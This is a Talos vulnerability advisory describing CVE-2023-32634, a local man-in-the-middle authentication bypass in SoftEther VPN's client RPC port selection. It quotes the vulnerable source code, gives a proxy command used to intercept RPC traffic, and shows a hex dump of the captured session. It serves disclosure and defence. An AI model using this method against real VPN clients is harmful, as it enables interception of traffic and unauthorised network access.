Talos Vulnerability Report

TALOS-2023-1755

SoftEther VPN CiRpcServerThread() MitM authentication bypass vulnerability

October 12, 2023
CVE Number

CVE-2023-32634

SUMMARY

An authentication bypass vulnerability exists in the CiRpcServerThread() functionality of SoftEther VPN 5.01.9674 and 4.41-9782-beta. An attacker can perform a local man-in-the-middle attack to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta
SoftEther VPN 5.01.9674

PRODUCT URLS

SoftEther VPN - https://www.softether.org/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-300 - Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)

DETAILS

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

For this particular vulnerability, let us examine exactly how the server does network configuration on Linux:

// RPC server thread
void CiRpcServerThread(THREAD *thread, void *param)
{
    CLIENT *c;
    SOCK *listener;
    UINT i;
    LIST *thread_list;
    // Validate arguments
    if (thread == NULL || param == NULL)
    {
        return;
    }

    c = (CLIENT *)param;

    // RPC connection list
    c->RpcConnectionList = NewList(NULL);

    // Open the port
    listener = NULL;
    for (i = CLIENT_CONFIG_PORT;i < (CLIENT_CONFIG_PORT + 5);i++) // 9931; 9936  // [1]
    {
        listener = Listen(i); // [2]
        if (listener != NULL)
        {
            break;
        }
    }

    if (listener == NULL)
    {
        // Error
        Alert(CEDAR_PRODUCT_STR " VPN Client RPC Port Open Failed.", CEDAR_CLIENT_STR);
        return;
    }

At [1], we see that we loop over the specific listen ports. At [2], we try to create a listener. Assuming that the listener fails, the RPC Server just keeps increasing the port until it finds an open one. But this begs the question of how the RPC Client knows which port to connect to, and we find the answer in CcConnectRpcEx:

REMOTE_CLIENT *CcConnectRpcEx(char *server_name, char *password, bool *bad_pass, bool *no_remote, UCHAR *key, UINT *key_error_code, bool shortcut_disconnect, UINT wait_retry)
{
    // [...]

#ifdef  OS_WIN32
    // read the current port number from the registry of the localhost
    if (StrCmpi(server_name, "localhost") == 0)
    {
        reg_port = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PORT, false, true); // [3]
        reg_pid = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PID, false, true);

        if (reg_pid != 0)
        {
            if (MsIsServiceRunning(GC_SVC_NAME_VPNCLIENT) == false)
            {
                reg_port = 0;
            }
        }
        else
        {
            reg_port = 0;
        }
    }

    if (reg_port != 0)
    {
        s = Connect(server_name, reg_port); // [4]

        if (s != NULL)
        {
            goto L_TRY;
        }
    }

#endif  // OS_WIN32

At least for Windows, assuming our server is running on local host, then a registry key is grabbed at [3] which contains the correct port to connect to [4]. But if the SoftEther VPN service is not running, or we are connecting remotely, or if we are using a Linux RPC client, then we hit the following code:

    port_start = CLIENT_CONFIG_PORT - 1;

RETRY:
    port_start++;

    if (port_start >= (CLIENT_CONFIG_PORT + 5))
    {
        return NULL;
    }

    ok = false;

    while (true)
    {
        for (i = port_start;i < (CLIENT_CONFIG_PORT + 5);i++) // [5]
        {
            if (CheckTCPPort(server_name, i)) // [6]
            {
                ok = true;
                break;
            }

    // [...]
    }

if (ok == false)
{
    if (key_error_code)
    {
        *key_error_code = ERR_CONNECT_FAILED;
    }
    return NULL;
}


port_start = i;

s = Connect(server_name, i);  // [7]

Again, we iterate over our specific port range at [5] and try to see if the TCP port is open at [6]. If the TCP port is closed, it is not considered an error unless all ports are closed. Assuming we’ve found a valid open port, we connect at [7].

With all this in mind, a vulnerability is apparent. Assume that a malicious user on a computer that’s expected to be running a SoftEtherVPN client binds to the first port available (9930 or 9931, which is possible without admin privileges), which the RPC server would normally bind to. When a normal SoftEtherVPN client user starts up their client, nothing errors out, since the RPC server would bind to the next available port after the malicious MitM port. The legitimate RPC client meanwhile would connect automatically to the malicious man-in-the-middle port without ever knowing their mistake and would send traffic unencrypted through the man-in-the-middle.

Assuming this occurs, locally or remotely, the attacker has gained a large attack surface. Aside from potentially exploiting other bugs within the RPC client and RPC server, the attacker would have the same access to the VPN client, potentially gaining access to sensitive networks. Alternatively, they could subsequently set up a man-in-the-middle attack against the VPN network itself, potentially leading to further escalation into the network. This could be done crudely either by adding a malicious trusted CA to the SoftEtherVPN client (which would write to the disk), or by intercepting and manipulating the network traffic between the RPC server and RPC client, such that untrusted CA certificates on the remote VPN side were automatically trusted without popping up a message.

Crash Information

$ python2 decept.py 127.0.0.1 9931 127.0.0.1 9932 -l tcp -r tcp --timeout .1 --dont_kill
[<_<] Decept proxy/sniffer [>_>]

[*.*] Listening on 127.0.0.1:9931
[$.$] local:tcp|remote:tcp
[>.>] 12:15:37.349951 Received Connection from ('127.0.0.1', 52198)
[>.>] 12:15:37.467882 Received Connection from ('127.0.0.1', 52208)
0000   00 00 00 01 f9 6c ea 19 8a d1 dd 56 17 ac 08 4a    .....l.....V...J
0010   3d 92 c6 10 77 08 c0 ef                            =...w...
[o.o] 12:15:37.626257 Sent 24 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)

0000   00 00 00 00                                        ....
[o.o] 12:15:37.733871 Sent 4 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)

0000   00 00 00 31 00 00 00 01 00 00 00 0e 66 75 6e 63    ...1........func
0010   74 69 6f 6e 5f 6e 61 6d 65 00 00 00 02 00 00 00    tion_name.......
0020   01 00 00 00 10 47 65 74 43 6c 69 65 6e 74 56 65    .....GetClientVe
0030   72 73 69 6f 6e                                     rsion
[o.o] 12:15:37.841662 Sent 53 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)

0000   00 00 01 c3 00 00 00 0b 00 00 00 16 43 6c 69 65    ............Clie
0010   6e 74 42 75 69 6c 64 49 6e 66 6f 53 74 72 69 6e    ntBuildInfoStrin
0020   67 00 00 00 02 00 00 00 01 00 00 00 30 43 6f 6d    g...........0Com
0030   70 69 6c 65 64 20 32 30 32 33 2f 30 31 2f 31 38    piled 2023/01/18
0040   20 31 37 3a 33 35 3a 34 37 20 62 79 20 74 68 69     17:35:47 by thi
0050   65 66 79 20 61 74 20 6b 69 6c 6c 6d 65 00 00 00    efy at killme...
0060   0f 43 6c 69 65 6e 74 42 75 69 6c 64 49 6e 74 00    .ClientBuildInt.
0070   00 00 00 00 00 00 01 00 00 14 3c 00 00 00 12 43    ..........<....C
0080   6c 69 65 6e 74 50 72 6f 64 75 63 74 4e 61 6d 65    lientProductName
0090   00 00 00 02 00 00 00 01 00 00 00 26 53 6f 66 74    ...........&Soft
00a0   45 74 68 65 72 20 56 50 4e 20 43 6c 69 65 6e 74    Ether VPN Client
00b0   20 44 65 76 65 6c 6f 70 65 72 20 45 64 69 74 69     Developer Editi
00c0   6f 6e 00 00 00 0d 43 6c 69 65 6e 74 56 65 72 49    on....ClientVerI
00d0   6e 74 00 00 00 00 00 00 00 01 00 00 01 f6 00 00    nt..............
00e0   00 14 43 6c 69 65 6e 74 56 65 72 73 69 6f 6e 53    ..ClientVersionS
00f0   74 72 69 6e 67 00 00 00 02 00 00 00 01 00 00 00    tring...........
0100   23 56 65 72 73 69 6f 6e 20 35 2e 30 32 20 42 75    #Version 5.02 Bu
0110   69 6c 64 20 35 31 38 30 20 20 20 28 45 6e 67 6c    ild 5180   (Engl
0120   69 73 68 29 00 00 00 0f 49 73 56 67 63 53 75 70    ish)....IsVgcSup
0130   70 6f 72 74 65 64 00 00 00 00 00 00 00 01 00 00    ported..........
0140   00 00 00 00 00 14 49 73 56 4c 61 6e 4e 61 6d 65    ......IsVLanName
0150   52 65 67 75 6c 61 74 65 64 00 00 00 00 00 00 00    Regulated.......
0160   01 00 00 00 00 00 00 00 07 4f 73 54 79 70 65 00    .........OsType.
0170   00 00 00 00 00 00 01 00 00 0c 1c 00 00 00 0a 50    ...............P
0180   72 6f 63 65 73 73 49 64 00 00 00 00 00 00 00 01    rocessId........
0190   00 00 00 00 00 00 00 0c 53 68 6f 77 56 67 63 4c    ........ShowVgcL
01a0   69 6e 6b 00 00 00 00 00 00 00 01 00 00 00 00 00    ink.............
01b0   00 00 09 43 6c 69 65 6e 74 49 64 00 00 00 02 00    ...ClientId.....
01c0   00 00 01 00 00 00 00                               .......
[o.o] 12:15:37.949690 Sent 455 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)
VENDOR RESPONSE

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

TIMELINE

2023-06-12 - Vendor Disclosure
2023-06-30 - Vendor Patch Release
2023-10-12 - Public Release

Credit

Discovered by Lilith >_> of Cisco Talos.